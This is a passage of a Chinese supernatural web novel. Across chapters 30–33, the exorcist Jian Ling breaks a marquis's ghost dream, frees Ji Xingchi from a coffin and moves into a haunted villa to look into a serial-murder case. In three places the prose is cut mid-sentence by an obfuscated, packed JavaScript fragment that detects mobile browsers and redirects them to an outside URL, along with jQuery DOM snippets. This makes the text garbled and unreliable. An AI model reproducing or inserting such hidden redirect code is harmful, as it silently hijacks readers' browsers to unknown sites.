随着季星迟的身影消失在视线中，那股熟悉的眩晕感又上来了。 简灵狠狠摇了下头，身体晃了几下，想扶着柱子却手一滑栽倒在地，在泥土中摸到一样细长的东西。 “睡吧，孩子。”定远侯冷冷道，“等你再醒来，就会忘记一切，成为这个梦的一部分。” 刚准备转身离去，他却听到地上的简灵嗤笑一声：“……做你的白日梦。” 他拧着眉头，看简灵攀着柱子颤抖地一点点站起来，笑道： “谁要留在这里陪你玩过家家啊……还只有这一天，你问问你所谓的‘女儿’，每天都过着重复日子，无不无聊？我看是只有你一个人沉浸其中吧。” “你——！”定远侯怒指着她，下一刻瞳孔大震。 只见简灵手中握着淑宁的簪子，狠狠扎进自己小臂，顺着那道红色的疤痕往下划，钝钝地撕开那道伤口。 鲜血顺着她的指尖流下，疼痛让她清醒了不少，握住簪子的手毫不迟疑地往旁边挥去，准确地刺中了旁边士兵的脖颈！ 那士兵怪叫一声，化成雾气散去。 定远侯勃然大怒！ 再也装不下去了，他上前一步，眸中燃起青色火焰，浑身上下鬼气大盛，厉声喝道： “星移斗转，阴兵借道！” 阴冷的月光被漫天的乌云遮住，梦境中泛起浓郁的鬼气，简灵缓慢地眨了一下眼睛，顷刻间世界一片黑白，只余下青色鬼气。 她勾了勾嘴角，等的就是这一刻。 30. 阴宅变阳宅 鬼梦开始动摇，简灵的身体逐渐恢复原状，她迅速摸出黄符，一手指间掐诀从鬼群中杀出一条路来。 定远侯在这墓下盘亘了这么多年，不知道藏了多少阴兵，简灵不可能一个一个敲死，得想个办法布下法阵将它们送走。 至于现在……擒贼先擒王！ 简灵从鬼群中高高一跃，踩着阴兵的脑袋顶几步向定远侯奔去。 定远侯闪身拔出腰间配剑，反手后刺，简灵脚下一旋，掌中黄符拍向定远侯的后背。 可这一掌却对他毫无效果。 简灵一愣，瞬间反应过来这定远侯也根本不是鬼身：“……你将自己的意识也放进了鬼梦里？” 定远侯不语，只举剑挥向她，简灵就地一滚躲开了这一击。 “你可真是自欺欺人啊。”她嘴上嘲讽，脑子飞速转着，“就为了一己私欲，造了一个假梦把你夫人囚禁在这里，有没有问过她的意见？” 也不知他听见没有，反正就是一味地朝简灵劈砍着—— 不行，这人可是将军，功夫比谢慈还高，硬碰硬根本不是对手。 既然如此，就先把这个梦给破了，将他的鬼身给逼出来。 简灵从地上一跃而起，手中摸到的兵器随手掷出，趁着定远侯闪避的功夫她直直奔向躲在角落里的淑宁母女！ 对于眼前混乱的景象，淑宁却是动也不动，只呆呆地牵着元娘站在原地。 “……她就剩了一魄，浑浑噩噩反反复复地过这么一天，真残忍。” 简灵一咬牙，手中黄符比身形先到，眨眼间就要靠近！ 一道凌厉的剑光闪过——霎时间，简灵感觉到危险逼近，强行扭转身体堪堪躲过了飞来的长剑。 还没来得及扭头，定远侯就像是什么发狂的巨兽，一脚将简灵踹到墙上。 他目眦俱裂，一脚一脚重重地踏着地面，额头和手背的青筋爆出，几欲将简灵捏死。 鬼梦还没破，简灵的后背确是实实在在地砸到了墙上，撞得她眼冒金星。 她喘着气，抬起手拔出头上的簪子，咬开盖子露出小木剑，在地上飞快地写写画画。 一个小身影突然挡在她面前。 简灵一怔，怒火中烧的定远侯也瞬间熄灭了火焰，怔怔地低头看着元娘。 “爹，娘其实过得不如意。” 稚嫩的声音中带着不符合年龄的成熟与稳重，微风拂过元娘头上的发带，纠缠到了一起。 看着不远处的淑宁好像有所反映，她的眼神微微动了动，看向元娘的发带，可最终没有动手。 简灵叹了口气，伸手将她的发带捋顺。 鬼梦中的风逐渐平息，元娘向简灵道了声谢，扭头认真地对自己的父亲说道：“虽然元娘不懂，但元娘能感觉得出来……娘亲其实与旁人是不一样的。” 虽然崔元香是根据原身“造”出来的一个意象，却也继承了原身的聪慧，日复一日地这么过着，没有人觉得有问题，只有这个天天跟母亲接触的小孩子感觉出了不对劲。 如今有外人强行闯入了这个“桃源”，她才终于有机会说出了自己的真实感受。 “咳咳……”简灵感觉自己似乎被撞出内伤了，轻轻咳嗽两声，喉头泛起一丝腥甜，“你真该死啊。” 冷静下来的定远侯没有反驳，沉默半晌，只余下一声叹息。 “你自己不往生也就算了，但本来她可以忘记这一世，重新开始新生活……”简灵咽下血沫，擦了下嘴角，“可你却将她囚禁起来，让她的魂魄一点点消磨，意识逐渐散尽，只剩下这一副空壳，按照你的指示反复地过这一天……仅仅以此满足你那所谓的遗憾与愧疚吗！” 简灵的每一个字都像一把刀，生生插在他的心上。 望着面无表情只会重复说着“回来就好”的夫人，与捏造出来的女儿，这个所谓的团圆只是他的一厢情愿。 定远侯缓缓地跪坐在地上，一言不发地望着简灵走向淑宁，向她伸出手，淑宁愣愣地照做，摊开白皙的手掌，任由简灵将黄符贴于她的手心之中。 很快淑宁便开始微微颤抖，终于支撑不住，跌倒在地上，唇齿微张，想说些什么却无论如何也说不出来。 “淑宁……” “娘。” 定远侯双膝在地上摩擦着爬向淑宁，将她和元娘一起搂在怀中，呜咽之声在鬼梦中蔓延开来，旁边的阴兵们也一个个破碎，随即消散在空中。 简灵将这最后的时刻留给一家三口，默默地退开，转身就去找季星迟的下落。 侯府太大了，也不知道季星迟被带到了哪里。 她跑向前院，鬼梦中的npc们都消散了，却迟迟没有看到季星迟的身影。 “季星迟——我们可以走了！”简灵大喊着，可没有任何回应，“被藏哪儿去了……” 简灵嘟囔着，转过廊角，眼前竟然是一片惨寂的白色。 穿堂风刮过灵堂，漫天的白幔被吹得猎猎作响。 * 季星迟被压往前院，他知道自己必须待在简灵身边才能保证她的清醒，不然在这个诡谲的梦里，如果连简灵都失去了记忆，那么很难有人再从外面帮到他们了。 他一肘撞开身边的阴兵，拔腿就往回跑。 前院的季家家丁也已经看到了季星迟的身影，蜂拥而上，季星迟出手狠辣，完全凭借身体本能在抵抗，饶是有点力气也双拳难敌四手，很快又被他们抓回来。 他用肩膀擦了下耳鬓边流下的汗，回头望向简灵的方向，无奈地笑了。 又要循环了，等明天再找机会吧。 可当他转过廊角，笑容僵在嘴边。 遮天蔽日的白幔猎猎作响，他们一直没来过的这间院子居然是一座灵堂。 季星迟瞬间反应过来——他不是一件所谓送给老侯爷的礼物。 而是陪葬。 阴兵见他又挣扎起来，一群人拥上来架住他，塞进了季家刚送来的一副新石棺里。 “不！” 几人合力将石棺的盖子盖上，季星迟挣扎开绳索，伸手死死扒住缝隙，可手指几次都被撬开！ 一声轰响，石棺被盖上得严丝合缝。 随着最后一丝光线的隐去，季星迟陷入了完全的黑暗中。 与刚才的挣扎不同，几乎就在下一刻，季星迟感觉到自己的呼吸都被夺走了，狭窄的空间内只有冰冷的石壁，他强迫自己睁大了眼睛，可眼前一片黑暗。 季星迟猛地抓住胸口，仿佛快要窒息，思绪一片混乱。 好家伙，原来心理阴影在这儿等着。 他蜷缩起身体，试图大口地深呼吸，可恐惧与不安充斥着整个狭小的空间，像一张黑色大网，完完全全笼罩住他。 自从逃离了那个家，季星迟已经十几年没有在黑暗中睡觉了，他几乎快要忘了这种感受。 十几年前，他还不叫季星迟。 在那个不能称之为家的地方，后妈得了亲爸的允许将他关进地下室的储藏间里，那个地方也跟现在一样，拥挤、狭小，除了黑暗什么都没有。 或许也有点别的，就是那些他看不见的鬼。 它们在他身边低语，发出一些呜咽的怪声，似乎很喜欢看到一个小孩惊恐的样子。 就在几近绝望的时候，他看见了第一只“鬼”。 那是一个七八岁的小女孩，她看了着自己半透明的手，嘟哝着：“我这是成功了？师傅也没教啊……” 幼小的她比自己胆子大多了，赶走了那些奇怪的鬼，看他还害怕，甚至主动留下来陪他说说话。 她还教他拆了旧家具，用铁丝撬开了储藏间的门。 两个小小的身影肩靠着肩，坐在地下室的台阶上，望向唯一一扇通风小窗，从那里能看到夜晚的星星。 小女鬼问他：“我叫简灵，你叫什么名字呀？” …… “季星迟——！” 简灵的声音穿透石棺传进季星迟的耳中，快要昏迷的他缓缓睁开双眼，一丝光亮刺破了头顶的黑暗，从缝隙中挤了进来。 “季星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365676|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟！你没事吧？！”简灵透过石棺的缝隙看到里面的人，心中松了口气，从侧面一口气扒开了棺盖，向季星迟伸出手，“没事了，我们回来了。” 季星迟猛地坐起来，胸口不断起伏着喘着粗气，环顾四周，他们已经回到了那间墓室，而他正躺在原来那个棺椁之中。 “你怎么了？”简灵能感觉到他紧紧地抓着自己的手，整个人都在微微地颤抖，刘海黏腻地贴在额头上，豆大的汗珠顺着侧脸流下来。 “我……没事。”季星迟怔了半晌，呼吸终于平缓了些。 简灵微微蹙眉：“幽闭恐惧？” “嗯。”季星迟轻轻点头，才反应过来自己还抓着简灵的手，触电般松开，“谢谢。” “我才要说谢谢。”简灵扶着他爬出石棺，玻璃罩碎了一地，两人小心地绕开走到一边，“如果不是你，我在梦里面还有的麻烦。” 她仔细感知了一阵，鬼气都集中到更下一层了：“我得下去找定远侯聊聊，要不你在这里等我？或者先上去，你现在需要休息。” 见她要走，季星迟抓住她的手腕摇头拒绝，淡淡笑道：“我没事，我跟你一起去，万一又遇到什么情况，好歹能当个工具人不是？” “应该不会，他……” 季星迟打断她：“一起。” 下层比上面的空间大得多，两人陆陆续续遇到一些阴兵小鬼，但不仅没有阻碍或者动手，反而夹道欢迎，一路引着他们来到了最里面的内室。 一个高大的身影从内室中缓缓走出来，明明面容跟在鬼梦里看到的定远侯一模一样，可本尊却比梦里的那个神色更加萎靡和沧桑，像是垂垂老矣。 他什么都没有说，三个人相顾无言。 旁边的小鬼急了，跳出来挡在定远侯面前，向简灵求饶：“对不住，阴差大人，但这不关我们侯爷的事。” 简灵一挑眉，伸出胳膊上的伤：“我和我的同伴在梦里受了伤，也不关他的事？” “不是……” 小鬼急得不知该如何解释，还是定远侯终于伸出手拍了拍他的肩膀：“我来说吧。” 事情跟简灵推测的差不多，定远侯死后没有往生，看到淑宁因悲痛离世后，他用自己的力量留下了她的魂魄，本意是想二人再见一面。 但是他们发现元娘似乎天生能看到鬼，于是就陪在女儿身边，教她识字做人，想护着她平安长大。 “可就在元娘五岁的某一天，淑宁她、她……”定远侯有些哽咽。 简灵明白了：“她的魂魄散了。” “是……”定远侯长叹一声，“她的意识也不清醒了，我拼尽全力也只能将她这一魄编入鬼梦中，永远、往复地过着同一天。” “那你们沉寂了千百年，为什么突然要出去了？”简灵皱眉，她对于不影响人的鬼其实没什么所谓，但这明显已经打破了平衡。 一旁的小鬼急急解释：“阴差大人，这是我们的主意！” 定远侯在编织完这个鬼梦后，力量几乎用尽，选择躲进了这个空无一物的内室，再也不出来。 “这陵墓里寄存着我们侯爷最宝贵的东西，可现在每天都有许多生人进来，阴宅都变成了阳宅！”小鬼有些害怕简灵，但神色坚定，“人气儿多了，迟早有人会发现那鬼梦，所以我们就想着闹出点动静……但绝对没有伤人啊！” 什么阴宅变阳宅的……简灵真是哭笑不得。 定远侯的力量已经支撑不了多久了，简灵没有多此一举，放他们在陵墓中自行消散。 “不过……我有一个问题。”临走前她突然回头，眼神直直盯着定远侯，“你是怎么避开地府阴差的追捕，带着阴兵过境的？” 定远侯顿了顿，缓慢说道：“我与恶鬼做了一个交易——它保我们的魂魄不散，必要时我带着阴兵为他提供帮助。” 两人离开时季星迟落后了一步，听见定远侯轻声地说： “你也是吧。” 季星迟脚下一顿，微微偏头但没有回答，加快脚步追着简灵离开了。 31. 回程 刚走近接待室，就听见里面不知道是说了些什么，引得郑文德哈哈大笑。 “聊什么呢，笑这么开心？”季星迟推开门，闪身让简灵先进去，坐在最门边的小刘腾得站起身，激动得磕到膝盖。 他顾不得揉膝盖，开心道：“你们回来了！” “嗯。”简灵点点头，拿起桌上的矿泉水灌了几口，“过了多久了？” 小刘看了眼手机：“不到两个小时。” 虽然才过了这么一会儿，但简灵和季星迟却像是熬了好几个大夜，两人都颇有些疲惫地捏了捏鼻梁。 蔡馆长关心道：“你们还好么，要不要去休息室躺一会儿？” “没事，都解决了。” 简灵说着，忽然目光落在了蔡馆长的脸上，若有所思。 说到这个小刘更加激动了，连连问道：“那、那底下真的是定远侯的鬼魂吗？！” 一时间接待室里所有人好奇的目光都聚焦在她身上。 博物馆的接待室不算大，他们这几个人居然已经占了会议桌一大半的位置，前面的白板上还写着关于定远侯这段历史的研究碎片，墙面上贴着几张老照片，都是包括蔡馆长在内的一些研究员们的合影。 那些研究员到现在也只剩蔡馆长一个人了，她搁在桌上的手微微握紧了拳头，拇指轻轻搓着食指关节，眼神中还透着一丝紧张。 要让她知道吗？ 简灵沉默地抿了抿唇。 季星迟看她一眼，忽然笑眯眯地摇头：“什么定远侯，都是刚才那个小鬼瞎编的。” “啊？”众人一愣。 简灵也是怔了下，偏头看向他，反收到他一个意会的笑容。 “就是些捣乱的小鬼，对简灵来说很容易，就是找它们费了点时间。”季星迟顺口胡诌，“估计是陵墓太阴了，引来了一些小鬼吧。” “什么啊……”秦雨宁摆了摆手，露出失望的表情，“还以为能见到历史人物的鬼魂呢。” 在众人的失望中，只有蔡馆长似乎松了一口气。 她微笑着点头：“我就说那样英武忠义的人物，怎么会甘愿当个鬼魂躲躲藏藏的……总之解决了就好，多谢你们了。” “是啊，他肯定早就投胎了。”简灵笑了笑，用胳膊肘了一下秦雨宁，“比想着见大人物了，事儿都解决了，抓紧补课吧，听蔡馆长多讲讲你俩的角色。” 秦雨宁皱了下鼻子：“要你话多。” “你们来之前正说着呢。”郑文德哈哈一笑，“刚才我们聊了会儿剧本，也跟蔡馆长讨教了一下，她指出了我们剧本的一个逻辑问题。” “什么问题？”季星迟问。 “我们的剧本是从崔元香成年后准备派去和亲开始的。”郑文德解释道，“崔元香自幼父母双亡，在豺狼虎豹环伺的环境中，一个小孩子不被养废就不错了，是谁教她的道理和计谋，甚至还在异国的后宫中杀出一条生路来呢？” 季星迟不动声色：“或许是她天资聪颖。” “再天资聪颖的孩子，也需要引导的。”蔡馆长缓缓摇头，“不过这个问题连我们都没有研究清楚。” “那准备怎么解决？”简灵问道。 郑文德摸着下巴上的小胡子，笑道：“我们改成让她的母亲陪她长大，教导她成人。” 简灵一怔。 “确实是不好改。” 蔡馆长的语气沉稳而温和：“她父亲的生平比较清晰，改动太多会让故事变得逻辑不明。而她母亲这个人物比较模糊……历史上的崔元香手段狠辣，头脑聪慧，但不是个纯粹的坏人，所以我认为‘母亲教导她成长’这一点也比较符合人物形象。” 秦雨宁的手指在电脑上飞速敲着，连连点头：“蔡馆长您说的真好，我对这个角色也有了一些新的领悟。” “哪里。”蔡馆长腼腆地笑了，“很期待秦女士对崔元香的演绎。” 一场关于人物的研讨会很快就结束了，天色也渐渐暗了下来。 本来郑文德热情邀请蔡馆长和小刘一起吃晚饭，但却被她婉拒。 “我们要抓紧时间处理下馆中的事务，争取尽快开门。”蔡馆长的神色中透着几分疲惫，但一双眼晴却仍旧清亮，“多谢郑导演的好意，小刘，你送送他们。” “诶！”小刘应了一声。 送到门口，小刘回头看了两眼，确定蔡馆长进了办公室后才叹了口气，跟几人小声解释。 “不好意思啊，关昌陂博物馆本就是个小馆，我们平时就靠卖点门票赚钱来支撑它的维护费用，少开一天，馆长的压力也更大一分……你们别生气啊，闭馆好几天了，她比谁都着急。” 郑文德连连摆手：“嗐，这怎么会生气呢，馆长忙我们都理解的。” 简灵的手都已经摸到了车门，突然好奇问道：“小刘，你们蔡馆长叫什么名字啊？” “哦，馆长叫蔡淑宁，淑女的淑，安宁的宁。” * 关昌陂确实很小，几人就吃吃喝喝玩了一天就逛完了，隔天一早就赶回了华丹市。 在机场分别时，简灵蹭了秦雨宁的车，也顺道去接谢慈。 “稍等。”季星迟的手拦住了将要拉上的车门，弯下腰看着简灵，微微抬起帽檐，“别墅那边差不多收拾好了，你什么时候搬过来？” 简灵：…… 不说她都差点忘了这事。 旁边的秦雨宁吓得手一抖，瞪大了眼睛：“……什么意思？” “就是字面的意思。”季星迟的脑袋更往里凑了一点，笑眼弯弯，“简灵要搬……” 简灵直接伸手盖住了季星迟的脑袋，将他往车外推去：“就这两天等我联系，你快走吧。” “好。”季星迟从善如流，钻进了自己的车里。 路上，简灵慢吞吞将别墅的事情跟秦雨宁说了，当然只说了囫囵，具体的细节不好说。 “……所以你要跟他同居了？！” “你小点声吧！”简灵伸手就要捂她的嘴，不过前排的司机和助理早就听见了，一个个表面淡定，内心震惊。 “是合租！”简灵严肃纠正，“准确来说，是我单独租下他别墅的一层，他住二层，我俩互不干扰。” 秦雨宁扒开她的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376861|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，仍是不可置信：“你俩这除了不睡一张床上，跟同居有什么区别吗？” 简灵：…… “他买那凶宅干什么？有毛病吧，他又是缺钱。” 虽然秦雨宁有时候对抓鬼也有点兴趣，但前提是“跟着简灵看热闹”，真让她自己撞鬼肯定是不乐意的，对闹鬼的凶宅更是敬而远之，所以当时季星迟找老杨问买房的事，她以为只是单纯的想找个房屋中介。 没想到啊，真是个狠人，直接大胆买凶宅住。 她对季星迟另眼相看了几分。 “我哪知道啊。”简灵嘟哝着，“不过也算帮了我的忙吧，直接找周老板吧人家更肯定想卖了，也不太可能租给我的。” 秦雨宁摸了摸下巴：“那你搬家的时候喊我一声，我们去给你造势，免得那家伙欺负你。” “欺负？”简灵抬手伸了个懒腰，找了个舒舒服服的姿势窝好，“他打得过我吗？” “不一样。”秦雨宁扭过来一本正经地看着她，“要让他知道，你身后不是空无一人。” 想了想那幢闹鬼的别墅，简灵点点头。 的确，她身后不仅有人，还有一屋子鬼呢。 * 季星迟让司机直接开到了新别墅。 这几天没有带助理，就是让他尽快处理别墅的事情，到今天已经基本整理完了。 如今的别墅焕然一新，所有的家具用品一应俱全，随时可以拎包入住，甚至连盘桓在别墅中的那些鬼们，也因为比较怵季星迟身上的气息，选择了开溜。 开玩笑，它们宁愿在外面游荡吓唬人，或者去别的空房子溜达，也不愿意跟一个诡异的人类共处一室。 季星迟身上那股淡淡的鬼气，不知道为什么比恶鬼还令鬼胆寒……哦，它们可能没有胆，但反正先有简灵，再是季星迟，这房子里的人一个比一个吓鬼。 看到季星迟的出现，游荡在附近的鬼蹭的一下全部消失了，只有穷晦二鬼还有点胆子，缩在灌木丛后面，不一会儿露出两双眼睛，好奇地看他走进别墅。 “简阴差不来了？”晦鬼放下心来，拍了拍胸口，他是真的很怕那个阴差大人。 “笨，他们马上要住一起了，还是会来的。” “啊？他们是一对儿吗？” “住一起就是一对了？”穷鬼翻了个白眼，“我们以前寄生的那些家庭，有些男的床上还有几个女的呢，那也是一对吗？” 晦鬼挠了挠头。 那边助理看到季星迟进门，赶忙迎上来汇报：“老板，院子也都派人收拾好了，放心吧，都收拾的干干净净，您的基本生活用品也都置办好了。” 季星迟点头，淡淡问道：“让你找人查的东西呢？” “因为具体不知道您需要哪方面的，我就都传了一份。”助理打开电脑里的一个加密文件夹，“所有的相关资料都在里面了。” “嗯。” 季星迟接过电脑，走到窗户旁，点开一份份文件快速地浏览着。 半晌，最终看到了一个有点印象的名字，仔细察看了一遍文件内容，轻笑一声，点击了删除。 32. 讨论下别墅凶案 搬家当天，简灵就简单地收拾了些生活用品，毕竟也不用每天都守在那里，只是多了一个临时居住的地方而已。 两人很快停在了别墅的车位上，紧接着后面又接连来了两辆车，很没素质地按了下喇叭。 简灵下车吐槽道：“苏靖希怎么是你啊？小区里按喇叭，你能不能有点素质？” “对不起对不起！”苏靖希赶紧按下窗户，探出头来道歉。 后面的秦雨宁也悠悠然下车，淡定地摘下墨镜，嘱咐助理晚点来接她。 看着两位大明星旁若无人地走过来，简灵无语：“你们也不怕被狗仔拍到……三位娱乐圈顶流会聚凶宅，究竟是道德的沦丧还是人性的扭曲。” “不怕，这片别墅区保密性很高的，不然这房子的凶案也不会这么多年了才发现。”秦雨宁挥挥手，毫不在意。 苏靖希好奇道：“三位？不是只有我跟雨宁姐吗，还有谁啊？” 简灵看向秦雨宁，后者则耸耸肩：“我只跟他说一起来暖房，没跟他说别的。” “不对，你不是去上课了吗，怎么又回来了？” “我周末在华丹有个杂志拍摄，这不提前结束了，趁机一个人溜出来玩。”苏靖希伸展开手臂，用力伸了个懒腰，“表演课太累了，师傅你都不知道，新南艺上课超级严……格……” 随着简灵打开大门，一个意料之外的身影出现在他眼中。 季星迟系着围裙，站在开放式厨房的吧台旁边，抬起头给了他们一个友好的笑容。 “季星迟？！”苏靖希吓了一大跳，“你你你……你怎么会在这里？” “这是我家，我当然在这里。”季星迟慢悠悠地擦了擦手，解下围裙，端着一盘切好的水果走出来，“随便坐。” 苏靖希傻眼：“这不是我师傅家吗？” “你师傅？”季星迟放水果的手一顿，微微眯起了眼，“也可以是，毕竟她现在住在这里。” “哈哈。”简灵干笑两声，“苏靖希，你可能对我的存款有什么误解。” 说完她借口去洗手溜进一楼卫生间，那面嵌在墙体中的大落地镜没有拆走，她检查了一番布好的阵，这阵能掩盖住鬼门关散发出来的鬼气，以免对周围的普通人造成影响。 有简灵坐镇，附近的小鬼也不会再从这个门进出，只是关于多年前的那只恶鬼却仍然没有什么头绪，也不知道躲藏到哪里去了。 秦雨宁则带着三分好奇谨慎地四处看了看，这房子没有她想象中的那么阴森可怖，虽然她看不见鬼，但属于直觉型，对于这方面的感觉还是很灵敏的。 “简灵，这房子真的闹鬼吗？我怎么感觉环境氛围都还不错呢，都可以开party了。”她问从卫生间出来的简灵。 谢慈点头附和：“是不错，早知你们都来，应该问问子月要不要来玩的。” “我劝你如果真的为了金子月好，就不要让她来这里——包括你们其他人的朋友之类的，这里可不是什么好地方，上一次在这里开party的人已经死了。”简灵认真道。 其余人：…… 谢谢，不会再想了。 “之前是有不少鬼的。”简灵面无表情地甩了甩手上的水，“现在已经没了，都被季星迟赶走了。” 季星迟一脸无辜：“怎么是我呢，明明我来之前你已经赶走了呀。” 只有苏靖希还处于茫然之中，追问简灵：“师傅，我还是不明白，为什么你跟季星迟住一起啊，你们难道……” “没有难道。”简灵干脆利落地打断了他，“这事说来话长，总之我现在借助他家，是为了寻找之前凶案的线索。” “听说凶手已经伏法了。”秦雨宁摸着下巴想了想，“难道是受害者的鬼魂还在这里？” 简灵摇了摇头：“这倒没有。只不过判死刑的是被恶鬼附身的人类，那恶鬼消失了，而这房子是它最开始……出现的地方。” “原来是抓鬼呀！”苏靖希来了兴趣，身体往前凑了凑，“这个我行呀，师傅要不我也搬进来帮你吧，季星迟又不懂这个，帮不上忙！” “不好意思，我家庙小。”还没等简灵开口，季星迟就笑眯眯地拒绝了，“而且，谁说我帮不上忙的？” 几人的目光都看向季星迟，只见他从柜子里拿出一台笔记本递给简灵：“里面有你想要的东西。” 简灵疑惑地接过，点开桌面上唯一一个文件夹，里面赫然放着这起连环凶杀案的资料！ “你从哪里搞来的？”简灵啧啧称奇，飞快点开查看，“厉害了季星迟，居然还有受害人的资料信息。” 季星迟不置可否地“嗯”了一声：“不是所有。” “牛哇季星迟。”苏靖希惊叹，站起身来想凑到简灵旁边一起看，可季星迟眼疾手快先一步坐在了她旁边的单人沙发上，泰然自若地翘起二郎腿。 苏靖希见状也不好硬挤过去，只能跪坐在地上，上半身扒着茶几凑过去：“师傅也给我看看。” 见大家都挤在一起，季星迟叹了口气，摸出遥控器关上窗帘，将电脑屏幕投在投影仪上。 客厅黑咕隆咚的，简灵捏着遥控器一页页翻看着，俨然一副探案的样子，几人跟着浏览者文件中的详情内容，很多都是描述死者的死状如何残忍，不知不觉中苏靖希的胳膊上起了一层鸡皮疙瘩： “太骇人了……这什么杀人狂，怎么杀了这么多人——后面的照片不会有尸体的高清图吧？！” “被害者被发现时都已经白骨化了，没有什么血腥的场面。” “看这些就够吓人了，大白天的，就非要拉上窗帘嘛。”秦雨宁也觉得有些寒意，搓了搓胳膊。 这起恶性连环杀人案的凶手叫吴青，也是这所别墅最开始的所有者。 吴青是一个父母双亡的富二代，资料只显示她的父母带她奔赴国外做生意，可到最后只有她一个人回了国，继承了巨额遗产。 因为出国得早，国内也没有仍在联系的亲戚了，吴青就这样一个人住着大别墅，肆无忌惮挥霍着几辈子都用不完的钱财。 简灵分析道：“估计就是这个身份才让恶鬼方便下手的，无父无母，刚从国外回来也没有认识的人，被夺舍了也没人会发现。” “可按照小区保安所说，她一开始似乎就意有所图，不仅邀请很多人去家里做客，还会跟邻里间打好关系。”谢慈回忆着当时保安说的话。 季星迟点头：“她邀请的大多也都是些有钱、有能力的人，警方认为她是在刻意结交。” “可是她杀的不也是那些人吗？第一个受害者就是她在国外认识的一个华侨，回国后邀请她一起开办艺术画展。第二个是保养车时在4s店认识的土豪，第三个是……” 秦雨宁的声音戛然而止，眼中写满了震惊：“……姚琼英？！” “那是谁？” “是一个十几年前火过一阵的女明星。”季星迟接过电脑，打开浏览 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388832|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器飞快搜索这个名字，“当年她一炮而红，突然就没有在圈内出现过了，当时大家都猜测她是因为花边新闻而赌气退圈的。” 在场的三个明星只有秦雨宁是童星出身，还见过姚琼英本人。 她叹了口气：“当时姚琼英纯粹是为了给女儿治病才进的娱乐圈，为了赚钱很豁得出去……虽然我不太喜欢她，但没想到居然……” “这么有名的一个人，当时就这么无声无息的死了？”简灵微微皱眉，“她失踪就没有人报警吗？” “报了的，当时她的经纪人都找疯了。”秦雨宁摇了摇头，“听说她女儿的病可能没得救了，她精神变得很差，所以大家都以为……” 一个被认定为“疯子”的人，失踪了，找不到了，最后放弃似乎也是理所当然的事情。 但这个受害者身上没有什么可以查证的线索，他们继续往下看去。 前面的受害者死亡年限太早，很多东西无从查起，而且不知道为什么中间还缺失了一个女性受害者的信息，或许是警方也并没有查到她的身份吧。 看到最后，苏靖希突然惊声喊停，指着屏幕上五年前最后一个受害者的信息：“这人我知道，他是华丹一个做地产生意的，挺有钱一个土老帽？” “怎么说？” “那会儿影视基地附近有个不接受收购和改造的村子，我们当时正好在附近拍综艺，还租用了一部分村民的房子来着。” 而当年负责谈收购项目的就是最后一个受害者，于昊。 于昊非常看重这块地，想盘下来发展成跟影视基地配套的度假村，可那帮村民死活不愿意搬走，有些是嫌于昊的开价太低，有些则是不愿意搬迁祖坟，毕竟世世代代都生活在此。 当时苏靖希他们节目组也是无意中，撞见了于昊带着人和村民们起了激烈的冲突。 “啧啧，那会儿还以为是哪个剧组的来拍火拼的场面了，后面发现是真打起来了，我们赶紧报了警。”苏靖希仔细回忆着，“这个于昊特别凶，所以我印象还挺深刻的。” 简灵问：“后来那个村子被收购了吗？” “没有。”苏靖希摇头，“后面于昊没出现了，估计就是死在这儿了吧……再后来传出那个村子闹鬼，说会克死那些另有所图的人什么什么的，就再没人敢去收购了。” “闹鬼？”简灵挑眉，。 前脚想收购的于昊死了，后脚就传出闹鬼的风声，这事儿好像没那么简单吧。 可秦雨宁却摇了摇头，否认了闹鬼这件事。 “现在那个村子虽然没被收购，但大部分房屋都已经被各个剧组和节目组租用过了，我也在里面拍过节目，也从来听说过闹鬼的事情。” 苏靖希点头：“对，所以估计是为了避免再有于昊这种人来闹事，村民们故意这么说的。” “但问题是，于昊是怎么跟吴青认识的呢？”秦雨宁问道，“一个是归国富二代，一个是地产土豪，生活中很难有交集。” “不知道，所以我们得找知道的来问问。” 简灵冷不丁开口，站起身来，脚步轻缓地往窗户边走去。 “谁知道啊？” “那自然是……”简灵嘴角一勾，猛地拉开窗帘，“他们！” 只见两个鬼鬼祟祟的脑袋正趴在窗户上偷听，被简灵抓了个正着，穷晦二鬼的脸上露出几分尴尬的笑容。 “哈哈……简阴差，早啊，今天天气真好……哈哈……” 33. 最后一名受害者 两个鬼还穿着之前那套老旧的房产中介衬衣，老老实实地站在一边，像被老师训话的初中生小鸡仔似的，低眉顺眼，大气不敢吭一声。 秦雨宁好奇：“他俩不是鬼吗？” “也是一种鬼，但能被人看到的。”简灵还在研究着于昊的生平资料，头也不抬。 “那是什么鬼啊？” “穷鬼和倒霉鬼。” 秦雨宁：…… 几人都不自觉地往边上靠了靠，试图远离那俩糟心玩意儿。 作为房主的季星迟更是直言不讳：“一定要让它们进来吗？” 